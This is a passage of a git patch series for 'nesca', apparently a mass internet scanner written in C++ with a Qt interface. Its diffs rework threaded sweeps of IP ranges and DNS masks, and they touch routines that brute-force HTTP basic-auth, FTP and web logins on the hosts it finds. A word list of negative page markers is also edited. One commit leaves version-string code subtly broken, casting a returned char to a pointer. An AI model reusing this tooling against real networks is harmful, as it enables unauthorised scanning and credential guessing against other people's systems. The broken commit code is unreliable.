defined(__WIN32) && !defined(__CYGWIN__) void _connect(void* ss) #else @@ -899,7 +897,9 @@ void *_connect(void* ss) strcpy(ip, ((ST*)ss)->argv); //char hostLog[256] = {0}; //strcpy(hostLog, GetHost(ip)); - delete []ss; + delete (ST*)ss; + + ConInc(); for(int i = 0; i <= overallPorts; ++i) { @@ -910,7 +910,7 @@ void *_connect(void* ss) ConDec(); } -void targetAndIPWriter(unsigned long int target, char *buff) +void targetAndIPWriter(long long unsigned int target, char *buff) { char curIPBuff[256] = {0}, targetNPers[32] = {0}, dbuffer[32] = {0}; strcpy(metaIPDNS, buff); @@ -1211,7 +1211,7 @@ void ReadUTF8(FILE* nFile, char *cp) #endif int sz = res.size(); GlobalNegatives[i] = new char[sz + 1]; - ZeroMemory(GlobalNegatives[i], sizeof(GlobalNegatives[i])); + ZeroMemory(GlobalNegatives[i], sizeof(*GlobalNegatives[i])); memcpy(GlobalNegatives[i], toLowerStr(res.c_str()).c_str(), sz - 1); memset(GlobalNegatives[i] + sz - 1, '\0', 1); ++i; @@ -1226,7 +1226,7 @@ void ReadUTF8(FILE* nFile, char *cp) #endif int sz = res.size(); GlobalNegatives[i] = new char[sz + 1]; - ZeroMemory(GlobalNegatives[i], sizeof(GlobalNegatives[i])); + ZeroMemory(GlobalNegatives[i], sizeof(*GlobalNegatives[i])); memcpy(GlobalNegatives[i], toLowerStr(res.c_str()).c_str(), sz); memset(GlobalNegatives[i] + sz, '\0', 1); ++i; @@ -2075,7 +2075,7 @@ int ParseArgs(int argc, char *argv[]) }; char *argString = new char [s + 1]; - ZeroMemory(argString, sizeof(argString)); + ZeroMemory(argString, sizeof(*argString)); for(int i = 1; i <= argc - 1; i++) { @@ -2162,7 +2162,7 @@ int ParseArgs(int argc, char *argv[]) strcpy(gPorts, "--DEFAULT"); }; - ZeroMemory(argString, sizeof(argString)); + ZeroMemory(argString, sizeof(*argString)); delete[] argString; @@ -2187,7 +2187,8 @@ int _getChunkCount(char *data) int firstPos = _getPos(data[1]); int secondPos = _getPos(data[2]); return secondPos - firstPos + 1; -}; +} + int _GetDNSFromMask(char *mask, char *saveMask, char *saveMaskEnder) { if(strstr(mask, "[") != NULL) @@ -2226,12 +2227,14 @@ int _GetDNSFromMask(char *mask, char *saveMask, char *saveMaskEnder) { ZeroMemory(maskEnd, sizeof(maskEnd)); }; + char maskSaver[128] = {0}; if(firstPos != -1 && secondPos != -1) { for(int i = firstPos; i <= secondPos; ++i) { if(globalScanFlag == false) break; + strcpy(maskSaver, saveMask); strcat(maskSaver, maskEntry); chunk[1] = charAll[i]; @@ -2241,20 +2244,23 @@ int _GetDNSFromMask(char *mask, char *saveMask, char *saveMaskEnder) strcat(maskRes, maskEnd); if(_GetDNSFromMask(maskRes, maskSaver, maskEnd) == -1) return -1; + ZeroMemory(maskSaver, sizeof(maskSaver)); ZeroMemory(maskRes, sizeof(maskRes)); }; }; } else - { -#pragma region DNS-SCAN + { if(globalScanFlag == false) return 0; + strcpy(endIP2, saveMask); st = new ST(); ZeroMemory(st->argv, sizeof(st->argv)); ZeroMemory(iip, sizeof(iip)); - while(cons >= gThreads) Sleep(300); + + while(cons >= gThreads && globalScanFlag) Sleep(300); + strcpy(iip, mask); strcpy(saveStartIP, iip); strcat(iip, top_level_domain); @@ -2265,7 +2271,6 @@ int _GetDNSFromMask(char *mask, char *saveMask, char *saveMaskEnder) targetAndIPWriter(--gTargets, st->argv); - ConInc(); #if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) if(globalScanFlag) _beginthread( (void(*)(void*))_connect, 0, st ); #else @@ -2375,7 +2380,10 @@ stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads)); tAddr.s_addr = i; #if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - ipVec.push_back(std::to_string(tAddr.S_un.S_un_b.s_b4) + "." + std::to_string(tAddr.S_un.S_un_b.s_b3) + "." + std::to_string(tAddr.S_un.S_un_b.s_b2) + "." + std::to_string(tAddr.S_un.S_un_b.s_b1)); + ipVec.push_back(std::to_string(tAddr.S_un.S_un_b.s_b4) + + "." + std::to_string(tAddr.S_un.S_un_b.s_b3) + + "." + std::to_string(tAddr.S_un.S_un_b.s_b2) + + "." + std::to_string(tAddr.S_un.S_un_b.s_b1)); #else tAddr.s_addr = ntohl(tAddr.s_addr); const char *ipStr = inet_ntoa(tAddr); @@ -2390,14 +2398,14 @@ stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads)); st = new ST(); ZeroMemory(st->argv, sizeof(st->argv)); - while (cons >= gThreads) Sleep(500); + while (cons >= gThreads && globalScanFlag) Sleep(500); ++indexIP; strcpy(st->argv, ipVec[0].c_str()); strcpy(saveStartIP, ipVec[0].c_str()); ipVec.erase(ipVec.begin()); - targetAndIPWriter(gTargets--, st->argv); - ConInc(); + targetAndIPWriter(gTargets--, st->argv); + #if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) _beginthread((void(*)(void*))_connect, 0, st); #else @@ -2419,20 +2427,23 @@ stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads)); st = new ST(); ZeroMemory(st->argv, sizeof(st->argv)); ZeroMemory(res, sizeof(res)); - while (cons >= gThreads) Sleep(500); + while (cons >= gThreads && globalScanFlag) Sleep(500); ++indexIP; tAddr.s_addr = i; #if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - strcpy(res, (std::to_string(tAddr.S_un.S_un_b.s_b4) + "." + std::to_string(tAddr.S_un.S_un_b.s_b3) + "." + std::to_string(tAddr.S_un.S_un_b.s_b2) + "." + std::to_string(tAddr.S_un.S_un_b.s_b1)).c_str()); + strcpy(res, (std::to_string(tAddr.S_un.S_un_b.s_b4) + + "." + std::to_string(tAddr.S_un.S_un_b.s_b3) + + "." + std::to_string(tAddr.S_un.S_un_b.s_b2) + + "." + std::to_string(tAddr.S_un.S_un_b.s_b1)).c_str()); #else strcpy(res, inet_ntoa(tAddr)); #endif strcpy(st->argv, res); strcpy(saveStartIP, res); - targetAndIPWriter(gTargets--, st->argv); - ConInc(); + targetAndIPWriter(gTargets--, st->argv); + #if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) _beginthread((void(*)(void*))_connect, 0, st); #else @@ -2442,75 +2453,8 @@ stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads)); Sleep(gThreadDelay); } break; + } } - } - - /*int eor0 = 0, eor1 = 0, eor2 = 0, eor3 = 0; - stt->doEmitionChangeStatus("Scanning..."); - sockstruct *st = NULL; - while ((eor0 == 0 || eor1 == 0 || eor2 == 0 || eor3 == 0 ) && globalScanFlag) - { - if(globalScanFlag == false) break; - while(ipsstart[0] < 256 && eor0 == 0) - { - if(ipsstart[0] == ipsend[0]) eor0 = 1; - if(globalScanFlag == false) break; - while(ipsstart[1] < 256 && eor1 == 0) - { - if(ipsstart[1] == ipsend[1] && eor0 == 1) eor1 = 1; - if(globalScanFlag == false) break; - while(ipsstart[2] < 256 && eor2 == 0) - { - if(ipsstart[2] == ipsend[2] && eor1 == 1) eor2 = 1; - if(globalScanFlag == false) break; - while(ipsstart[3] < 256 && eor3 == 0) - { - if(globalScanFlag == false) break; - st = new sockstruct(); - ZeroMemory(st->argv, sizeof(st->argv)); - ZeroMemory(res, sizeof(res)); - while(cons >= gThreads) Sleep(300); - if(ipsstart[3] == ipsend[3] && eor2 == 1) eor3 = 1; - ++indexIP; - - strcat(res, std::to_string(ipsstart[0]).c_str()); - strcat(res, "."); - strcat(res, std::to_string(ipsstart[1]).c_str()); - strcat(res, "."); - strcat(res, std::to_string(ipsstart[2]).c_str()); - strcat(res, "."); - strcat(res, std::to_string(ipsstart[3]).c_str()); - - strcpy(st->argv, res); - strcpy(saveStartIP, res); - - targetAndIPWriter(gTargets--, st->argv); - ConInc(); -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - _beginthread( (void(*)(void*))_connect, 0, st ); -#else - pthread_t thrc; - pthread_create(&thrc, NULL, (void *(*)(void*))&_connect, st); -#endif - Sleep(gThreadDelay); - ++ipsstart[3]; - }; - ipsstart[3] = 0; - ++ipsstart[2]; - }; - ipsstart[3] = 0; - ipsstart[2] = 0; - ++ipsstart[1]; - }; - ipsstart[3] = 0; - ipsstart[2] = 0; - ipsstart[1] = 0; - ++ipsstart[0]; - }; - ipsstart[3] = 0; - ipsstart[2] = 0; - ipsstart[1] = 0; - };*/ } else if(gMode == 1 ) { @@ -2641,13 +2585,15 @@ stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads)); { dnsCounter *= _getChunkCount(dnsPtr1); dnsPtr1 = strstr(dnsPtr1 + 1, "["); - }; + }; + gTargets = dnsCounter; gTargetsOverall = gTargets; stt->doEmitionYellowFoundData("Starting DNS-scan..."); stt->doEmitionChangeStatus("Scanning..."); - if(_GetDNSFromMask(dataEntry, "", dataEntry) == -1) + int y = _GetDNSFromMask(dataEntry, "", dataEntry); + if(y == -1) { stt->doEmitionRedFoundData("DNS-Mode error"); }; @@ -2734,14 +2680,14 @@ stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads)); st = new ST(); ZeroMemory(st->argv, sizeof(st->argv)); - while (cons >= gThreads) Sleep(500); + while (cons >= gThreads && globalScanFlag) Sleep(500); ++indexIP; strcpy(st->argv, ipVec[0].c_str()); strcpy(saveStartIP, ipVec[0].c_str()); ipVec.erase(ipVec.begin()); - targetAndIPWriter(gTargets--, st->argv); - ConInc(); + targetAndIPWriter(gTargets--, st->argv); + #if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) _beginthread((void(*)(void*))_connect, 0, st); #else @@ -2762,7 +2708,7 @@ stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads)); st = new ST(); ZeroMemory(st->argv, sizeof(st->argv)); ZeroMemory(res, sizeof(res)); - while (cons >= gThreads) Sleep(500); + while (cons >= gThreads && globalScanFlag) Sleep(500); ++indexIP; tAddr.s_addr = i; @@ -2775,7 +2721,7 @@ stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads)); strcpy(saveStartIP, res); targetAndIPWriter(gTargets--, st->argv); - ConInc(); + #if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) _beginthread((void(*)(void*))_connect, 0, st); #else @@ -2785,88 +2731,14 @@ stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads)); Sleep(gThreadDelay); } - break; - /*int eor0 = 0, eor1 = 0, eor2 = 0, eor3 = 0; - while ((eor0 == 0 || eor1 == 0 || eor2 == 0 || eor3 == 0) && globalScanFlag) - { - if (globalScanFlag == false) break; - while (ipsstartfl[gC][0] < 256 && eor0 == 0) - { - if (globalScanFlag == false) break; - if (ipsstartfl[gC][0] == ipsendfl[gC][0]) eor0 = 1; - while (ipsstartfl[gC][1] < 256 && eor1 == 0) - { - if (globalScanFlag == false) break; - if (ipsstartfl[gC][1] == ipsendfl[gC][1] && eor0 == 1) eor1 = 1; - while (ipsstartfl[gC][2] < 256 && eor2 == 0) - { - if (globalScanFlag == false) break; - if (ipsstartfl[gC][2] == ipsendfl[gC][2] && eor1 == 1) eor2 = 1; - while (ipsstartfl[gC][3] < 256 && eor3 == 0) - { - if (globalScanFlag == false) break; - st = new sockstruct(); - ZeroMemory(st->argv, sizeof(st->argv)); - ZeroMemory(res, sizeof(res)); - - while (cons >= gThreads) Sleep(300); - - if (ipsstartfl[gC][3] == ipsendfl[gC][3] && eor2 == 1) eor3 = 1; - - ++indexIP; - - strcat(res, std::to_string(ipsstartfl[gC][0]).c_str()); - strcat(res, "."); - strcat(res, std::to_string(ipsstartfl[gC][1]).c_str()); - strcat(res, "."); - strcat(res, std::to_string(ipsstartfl[gC][2]).c_str()); - strcat(res, "."); - strcat(res, std::to_string(ipsstartfl[gC][3]).c_str()); - - strcpy(st->argv, res); - strcpy(saveStartIP, res); - - targetAndIPWriter(gTargets--, st->argv); - - ConInc(); -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - _beginthread((void(*)(void*))_connect, 0, st); -#else - pthread_t thrc; - pthread_create(&thrc, NULL, (void *(*)(void*))&_connect, st); -#endif - Sleep(gThreadDelay); - if (ipsstartfl[gC][3] == 255) break; - if (ipsstartfl[gC][3] <= ipsendfl[gC][3]) ++ipsstartfl[gC][3]; - }; - ipsstartfl[gC][3] = 0; - if (ipsstartfl[gC][2] == 255) break; - if (ipsstartfl[gC][2] <= ipsendfl[gC][2]) ++ipsstartfl[gC][2]; - }; - ipsstartfl[gC][3] = 0; - ipsstartfl[gC][2] = 0; - if (ipsstartfl[gC][1] == 255) break; - if (ipsstartfl[gC][1] <= ipsendfl[gC][1]) ++ipsstartfl[gC][1]; - }; - ipsstartfl[gC][3] = 0; - ipsstartfl[gC][2] = 0; - ipsstartfl[gC][1] = 0; - if (ipsstartfl[gC][0] == 255) break; - if (ipsstartfl[gC][0] <= ipsendfl[gC][0]) ++ipsstartfl[gC][0]; - }; - ipsstartfl[gC][3] = 0; - ipsstartfl[gC][2] = 0; - ipsstartfl[gC][1] = 0; - };*/ - }; + break; + }; } } } else { - stt->doEmitionRedFoundData("Wrong parameters."); - }; Sleep(gTimeOut + 1); @@ -2875,15 +2747,16 @@ stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads)); stt->doEmitionChangeStatus("Stopping..."); - while(cons > 0 || isActive == 1 || jsonArr->size() > 0) Sleep(2000); + while(cons > 0 || isActive == 1 || jsonArr->size() > 0) { + Sleep(2000); + }; nCleanup(); stt->doEmitionGreenFoundData("Done. Saved: " + QString::number(saved) + "; Alive: " + QString::number(found) + "."); stt->doEmitionChangeParsed(QString::number(saved) + "/" + QString::number(found)); stt->doEmitionChangeStatus("Idle"); - stt->doEmitionKillSttThread(); - + stt->doEmitionKillSttThread(); } void nCleanup(){ diff --git a/oIRC_Th.cpp b/oIRC_Th.cpp index 1db931a..562a178 100644 --- a/oIRC_Th.cpp +++ b/oIRC_Th.cpp @@ -77,7 +77,6 @@ QString GetNickColor(char *sn) QString nickBGColorStr = hexNick.mid(hexNick.size() - 6, hexNick.size()); int nickColor = nickColorStr.toUInt(NULL, 16); - int dim = QString::number(nickColor).length(); nickColor += (7*origLen + nickColor*6 + 123456 - hln*hln*hln*hln + (int)(str[0].toLatin1())*123); nickColorStr.setNum(nickColor, 16); @@ -187,6 +186,7 @@ char *GetServerName(char *buff) char *temp1 = NULL; int sz = 0; char name[128] = {0}; + if(strstr(buff, " ") != NULL) { temp1 = strstr(buff, " "); From e8445152e37e1c183f0ab8749f41b790e5e72f9b Mon Sep 17 00:00:00 2001 From: cora32 <mrgoto2@bk.ru> Date: Tue, 10 Mar 2015 19:46:14 +0300 Subject: [PATCH 28/66] -- --- connector_old.cpp | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/connector_old.cpp b/connector_old.cpp index 0d3140f..5b403b6 100644 --- a/connector_old.cpp +++ b/connector_old.cpp @@ -270,10 +270,10 @@ char *_getAttributeValue(char *str, char *val, char *ip, int port) if(ptrStart != NULL) { if(strstri(ptrStart, "qop=auth") != NULL) return "auth"; -// ptrS1End = _findFirst(ptrStart, "\""); + ptrS1End = _findFirst(ptrStart, "\""); if(ptrS1End != NULL) { -// ptrS2End = _findFirst(ptrS1End + 1, "\""); + ptrS2End = _findFirst(ptrS1End + 1, "\""); if(ptrS2End != NULL) { int sz = ptrS2End - ptrS1End - 1; From 545c2d4c45b59bd3880fdf7c82fc3784305f3c56 Mon Sep 17 00:00:00 2001 From: cora32 <mrgoto2@bk.ru> Date: Tue, 10 Mar 2015 23:09:05 +0300 Subject: [PATCH 29/66] Negative hit fix. --- Connector.cpp | 24 +++++++++--------------- STh.cpp | 4 ++-- STh.h | 4 ++-- connector_old.cpp | 12 ++++++------ externFunctions.h | 1 + finder.cpp | 19 ++++++++++--------- negatives.txt | 21 ++++++++++----------- nesca_3.cpp | 14 +++++++------- nesca_3.h | 2 +- 9 files changed, 48 insertions(+), 53 deletions(-) diff --git a/Connector.cpp b/Connector.cpp index dcaf0b8..8de8fea 100644 --- a/Connector.cpp +++ b/Connector.cpp @@ -231,17 +231,10 @@ int my_trace(CURL *handle, curl_infotype type, char *data, size_t size, void *userp) { - struct data *config = (struct data *)userp; - const char *text; - (void)handle; /* prevent compiler warning */ - switch (type) { case CURLINFO_HEADER_OUT: - if(MapWidgetOpened) stt->doEmitionAddOutData(QString("size"), QString(data)); - cout<<"Data: "<<data<<endl; - //fprintf(stderr, "== Info: %s", data); - default: /* in case a new one is introduced to shock us */ - return 0; + data[strstr(data, "\r\n\r\n") - data] = '\0'; + stt->doEmitionAddOutData(QString(data)); } return 0; @@ -258,15 +251,16 @@ int Connector::nConnect(const char *ip, const int port, std::string *buffer, const std::vector<std::string> *customHeaders){ CURL *curl = curl_easy_init(); - struct data config; - - config.trace_ascii = 1; /* enable ascii tracing */ if (curl) { - curl_easy_setopt(curl, CURLOPT_DEBUGFUNCTION, my_trace); - curl_easy_setopt(curl, CURLOPT_DEBUGDATA, &config); - curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L); + if (MapWidgetOpened) { + struct data config; + config.trace_ascii = 1; /* enable ascii tracing */ + curl_easy_setopt(curl, CURLOPT_DEBUGFUNCTION, my_trace); + curl_easy_setopt(curl, CURLOPT_DEBUGDATA, &config); + curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L); + } curl_easy_setopt(curl, CURLOPT_URL, ip); curl_easy_setopt(curl, CURLOPT_PORT, port); curl_easy_setopt(curl, CURLOPT_USERAGENT, "Mozilla/5.0 (X11; Linux x86_64; rv:35.0) Gecko/20100101 Firefox/35.0"); diff --git a/STh.cpp b/STh.cpp index 8d134fd..076de45 100644 --- a/STh.cpp +++ b/STh.cpp @@ -20,9 +20,9 @@ void STh::doEmitionAddIncData(QString(ip), QString str) { emit stt->sIncData(ip, str); }; -void STh::doEmitionAddOutData(QString ip, QString str) +void STh::doEmitionAddOutData( QString str) { - emit stt->sOutData(ip, str); + emit stt->sOutData(str); }; void STh::doEmitionIPRANGE(QString str) { diff --git a/STh.h b/STh.h index f030969..fd6ed2c 100644 --- a/STh.h +++ b/STh.h @@ -18,7 +18,7 @@ public: static void doEmitionStartScanDNS(); static void doEmitionStartScanImport(); static void doEmitionAddIncData(QString ip, QString str); - static void doEmitionAddOutData(QString ip, QString str); + static void doEmitionAddOutData(QString str); static void doEmition_BAGreenData(QString str); static void doEmition_BARedData(QString str); static void doEmitionIPRANGE(QString str); @@ -62,7 +62,7 @@ public: signals: void changeStatus(QString); public: signals: void changeTargetsLeft(QString); public: signals: void killSttThread(); public: signals: void sIncData(QString, QString); -public: signals: void sOutData(QString, QString); +public: signals: void sOutData(QString); protected: void run(); diff --git a/connector_old.cpp b/connector_old.cpp index 787591a..a610c24 100644 --- a/connector_old.cpp +++ b/connector_old.cpp @@ -218,7 +218,7 @@ void _baSSLWorker(char *ip, char *request, char *rvBuff) if(SSL_connect(ssl)) { SSL_write(ssl, request, strlen(request)); - if(MapWidgetOpened) stt->doEmitionAddOutData(QString(ip), QString(request)); + if(MapWidgetOpened) stt->doEmitionAddOutData(QString(request)); char tempBuff[128] = {0}; int x = 1; @@ -465,7 +465,7 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method) if(send(sock, hRqst, strlen(hRqst), 0) != SOCKET_ERROR) { - if(MapWidgetOpened) stt->doEmitionAddOutData(QString(ip), QString(hRqst)); + if(MapWidgetOpened) stt->doEmitionAddOutData(QString(hRqst)); ZeroMemory(headerMsg, REQUEST_MAX_SIZE); int x = 1; int xx = 0; @@ -722,7 +722,7 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method) if (send(sock, request, strlen(request), 0) != SOCKET_ERROR) { - if (MapWidgetOpened) stt->doEmitionAddOutData(QString(ip), QString(request)); + if (MapWidgetOpened) stt->doEmitionAddOutData(QString(request)); dataSz = 0; ZeroMemory(recvBuff2, sizeof(recvBuff2)); ZeroMemory(recvBuff, sizeof(recvBuff)); @@ -1084,7 +1084,7 @@ lopaStr _FTPBrute(char *ip, int port, PathStr *ps) strcat(request, "\r\n"); if(send(sockFTP, request, strlen(request), 0) != SOCKET_ERROR) { - if(MapWidgetOpened) stt->doEmitionAddOutData(QString(ip), QString(request)); + if(MapWidgetOpened) stt->doEmitionAddOutData(QString(request)); Activity += strlen(request); ZeroMemory(request, sizeof(request)); @@ -1128,7 +1128,7 @@ lopaStr _FTPBrute(char *ip, int port, PathStr *ps) strcat(request, "\r\n"); if(send(sockFTP, request, strlen(request), 0) != SOCKET_ERROR) { - if(MapWidgetOpened) stt->doEmitionAddOutData(QString(ip), QString(request)); + if(MapWidgetOpened) stt->doEmitionAddOutData(QString(request)); Activity += strlen(request); ZeroMemory(request, sizeof(request)); @@ -1396,7 +1396,7 @@ int _webLoginSeq(char *request, char *login, char *pass, char *ip, int port, int } else { - if(MapWidgetOpened) stt->doEmitionAddOutData(QString(ip), QString(request)); + if(MapWidgetOpened) stt->doEmitionAddOutData(QString(request)); int x = 1; int xx = 0; ZeroMemory(recvBuff2, sizeof(recvBuff2)); diff --git a/externFunctions.h b/externFunctions.h index 9284c7e..50b3df6 100644 --- a/externFunctions.h +++ b/externFunctions.h @@ -17,6 +17,7 @@ extern void getSubStr(char *src, char *startStr, char *endStr, char *dest, int s extern void getSubStrEx(char *src, char *startStr, char *endStr, char *dest, int szDest); extern std::string xcode(LPCSTR src, UINT srcCodePage, UINT dstCodePage); extern void _SaveBackupToFile(); +extern char *_findFirst(const char *str, char *delim); //extern int nConnect(char *ip, int port, std::string *buffer); diff --git a/finder.cpp b/finder.cpp index e5e0fbf..0019508 100644 --- a/finder.cpp +++ b/finder.cpp @@ -187,7 +187,7 @@ int globalSearchNeg(const char *buffcpy, char *ip, int port) char negWord[256] = {0}; for(int i = 0; i < GlobalNegativeSize; ++i) { - if(!globalScanFlag) break; + if(!globalScanFlag) return -1; strcpy(negWord, GlobalNegatives[i]); if(strstr(buffcpy, negWord) != NULL) @@ -213,10 +213,8 @@ int globalSearchNeg(const char *buffcpy, char *ip, int port) return -1; }; - ZeroMemory(negWord, 256); }; - return -1; } int globalSearchPrnt(const char *buffcpy) @@ -335,7 +333,8 @@ int sharedDetector(char * ip, int port, const char *buffcpy) { if(globalSearchNeg(buffcpy, ip, port) == -1) return -1; if(globalSearchPrnt(buffcpy) == -1) return -1; - if(strstr(buffcpy, "<form ") != NULL && strstr(buffcpy, "302 found") == NULL) return 10; + //if(strstr(buffcpy, "<form ") != NULL && strstr(buffcpy, "302 found") == NULL) return 10; + //nic.sucks, ... return -2; } @@ -2687,11 +2686,13 @@ int Lexems::_header(char *ip, int port, const char str[], Lexems *l, PathStr *ps }; }; - if(std::find(redirStrLst->begin(), redirStrLst->end(), redirStr) == redirStrLst->end()) - { - redirStrLst->push_back(redirStr); - return redirectReconnect(ps->cookie, ip, port, redirStr, l, ps, redirStrLst, rBuff); - } return -1; + if (redirStr[0] != '#') { + if (std::find(redirStrLst->begin(), redirStrLst->end(), redirStr) == redirStrLst->end()) + { + redirStrLst->push_back(redirStr); + return redirectReconnect(ps->cookie, ip, port, redirStr, l, ps, redirStrLst, rBuff); + } return -1; + } return -2; }; } diff --git a/negatives.txt b/negatives.txt index 5d96ffe..1bf1b3d 100644 --- a/negatives.txt +++ b/negatives.txt @@ -1,4 +1,5 @@ Adapto CMS +Account unavailable баланс средств на вашем счету @@ -7,6 +8,7 @@ RFB 009 00;39;49mroot: Authorization Required .swf +покуп yadro.ru liveinternet #[Dlink] @@ -40,6 +42,7 @@ Content-Encoding: gzip no connections allowed pocket-solution trustclick +торг #[/Dlink] 530 User access denied prelogin @@ -791,8 +794,6 @@ page does not exist дешев дешёв pm2-web -домен продается -домены на продажу доставка заказать доставку заработок в сети @@ -834,12 +835,12 @@ pm2-web Seo подписаться поиск работы -приколы +прикол продукция -производство +производств процесі розробки работа в интернете -регистрации доменных имен +регистрации доменных рекламные ссылки ремонт сайт в разработке @@ -849,6 +850,7 @@ Seo сайт на разработке связь с нами скидк +раскрут скоро открытие служба поддержки создание недорогих сайтов @@ -856,25 +858,22 @@ Seo спонсоры стартовая страни стихи -тестовая страница +тестовая страни технические работы услуги флешки -Произошла ошибка +ошибка на хостинге Fatal error: -mc.yandex.ru/watch -mc.yandex.ru/metrika +mc.yandex.ru UNKNOWN HOST host not found Сайт закрыт ?partner хокке - добро пожаловать в статусы высказывани - флэшки футбол юмор diff --git a/nesca_3.cpp b/nesca_3.cpp index bbf5241..2eb66ce 100644 --- a/nesca_3.cpp +++ b/nesca_3.cpp @@ -1599,9 +1599,9 @@ bool nesca_3::eventFilter(QObject* obj, QEvent *event) }; return false; } - else if (obj == qwm) - { - ///TODO: raise parent window with qwm +// else if (obj == qwm) +// { +// ///TODO: raise parent window with qwm // if(event->type() == QEvent::MouseButtonPress) // { // Qt::WindowFlags eFlags = windowFlags (); @@ -1609,7 +1609,7 @@ bool nesca_3::eventFilter(QObject* obj, QEvent *event) // setWindowFlags(eFlags); // return true; // }; - } +// } else { if (event->type() == QEvent::KeyPress) @@ -2196,7 +2196,7 @@ void nesca_3::slotShowNicks() QRegExp _rOutProt(" HTTP/1.\\d+"); QRegExp _rOutPath(" /(\\w|\\.|,|/|:|-|_|\\?|!|\\@|#|\\$|%|\\^|&|\\*|\\(|\\)|=|\\+|<|>|;|:|\"|'|~|\\[|\\])* "); QRegExp _rOutHost("Host: ((\\w|\\d|\\.|:|/)*)\\r\\n"); -void nesca_3::slotOutData(QString ip, QString str) +void nesca_3::slotOutData(QString str) { if(SendData != NULL) { @@ -2227,7 +2227,7 @@ void nesca_3::slotOutData(QString ip, QString str) if(prot.size() > 0) str.replace(prot, "<font color=\"GoldenRod\">" + prot + "</font>"); str.replace("\r\n", "<br>"); - SendData->append("<font color=\"#F0FFFF\">[" + ip + "]</font><br>" + str + "<hr><br>"); + SendData->append("<br>" + str + "<hr><br>"); }; } @@ -2892,7 +2892,7 @@ void nesca_3::ConnectEvrthng() connect ( stt, SIGNAL(startScanDNS()), this, SLOT(DNSScanSeq())); connect ( stt, SIGNAL(startScanImport()), this, SLOT(ImportScanSeq())); connect ( stt, SIGNAL(sIncData(QString, QString)), this, SLOT(slotIncData(QString, QString))); - connect ( stt, SIGNAL(sOutData(QString, QString)), this, SLOT(slotOutData(QString, QString))); + connect ( stt, SIGNAL(sOutData(QString)), this, SLOT(slotOutData(QString))); connect ( stt, SIGNAL(changeDebugFoundData(QString)), this, SLOT(appendDebugText(QString))); connect ( stt, SIGNAL(changeYellowFoundData(QString)), this, SLOT(appendNotifyText(QString))); connect ( stt, SIGNAL(changeRedFoundData(QString)), this, SLOT(appendErrText(QString))); diff --git a/nesca_3.h b/nesca_3.h index 829b650..7e61e17 100644 --- a/nesca_3.h +++ b/nesca_3.h @@ -85,7 +85,7 @@ protected: void ImportScanSeq(); void smReaction(); void slotShowDataflow(); - void slotOutData(QString ip, QString str); + void slotOutData(QString str); void slotIncData(QString ip, QString str); void slotShowServerMsg(QString str); void slotSaveImage(); From ebf61f156802843b550972e21587b50e1b41450f Mon Sep 17 00:00:00 2001 From: cora48 <cora48@test123.ru> Date: Thu, 12 Mar 2015 17:27:17 +0300 Subject: [PATCH 30/66] asd --- nesca_3.cpp | 27 +++++++++++---------------- 1 file changed, 11 insertions(+), 16 deletions(-) diff --git a/nesca_3.cpp b/nesca_3.cpp index 2eb66ce..be6b309 100644 --- a/nesca_3.cpp +++ b/nesca_3.cpp @@ -3018,7 +3018,8 @@ void nesca_3::saveOptions() QString loadNescaSetup(char *resStr, char *option) { - char *lex = NULL; + char *lex = NULL + ; if(strstr(resStr, option) != NULL) { lex = strstr(resStr, option) + strlen(option); @@ -3029,6 +3030,7 @@ QString loadNescaSetup(char *resStr, char *option) { return QString(lex); } return ""; } + return ""; } void RestoreSession() @@ -3196,7 +3198,7 @@ void CreateVerFile() }; } -char *GetVer() +char GetVer() { int dver = 0; int tver = 0; @@ -3236,14 +3238,10 @@ char *GetVer() tver *= 10; tver += __TIME__[4] - 48; - char db[32] = {0}; - char tb[32] = {0}; - sprintf(db, "%X", dver); - strcat(db, "-"); - sprintf(tb, "%X", tver); - strcat(db, tb); + char db[32] = {0}; + sprintf(db, "%X-%X", dver, tver); - return db; + return *db; } void nesca_3::slotShowRedVersion() @@ -3288,19 +3286,16 @@ void _startMsgCheck() ui->ircNickBox->setText("nsa_" + QString::number(qrand() % 8999 + 1000)); - char rVer[32] = {0}; - strcpy(rVer, GetVer()); - QString QVER = QString(rVer); - QByteArray ba = QVER.toLatin1(); - strcpy(gVER, ba.data()); + const char &rVer = GetVer(); + QString QVER((const char *)rVer); + QVER += QString(rVer + 1); + strcpy(gVER, QVER.toLatin1().data()); ui->logoLabel->setToolTip("v3-" + QVER); ui->logoLabel->setStyleSheet("color:white; border: none;background-color:black;"); ui->newMessageLabel->setStyleSheet("color:rgba(255, 0, 0, 0);background-color: rgba(2, 2, 2, 0);"); CreateVerFile(); - RestoreSession(); - PhraseLog.push_back(""); CreateMsgPopupWidget(); From 633a081c287710cea94a990c5664e13adb015649 Mon Sep 17 00:00:00 2001 From: cora48 <cora48@test123.ru> Date: Fri, 13 Mar 2015 17:07:53 +0300 Subject: [PATCH 31/66] Main window raise on Dataflow-widget click fixed. --- nesca_3.cpp | 47 ++++++++++++++++++++--------------------------- 1 file changed, 20 insertions(+), 27 deletions(-) diff --git a/nesca_3.cpp b/nesca_3.cpp index be6b309..1574eca 100644 --- 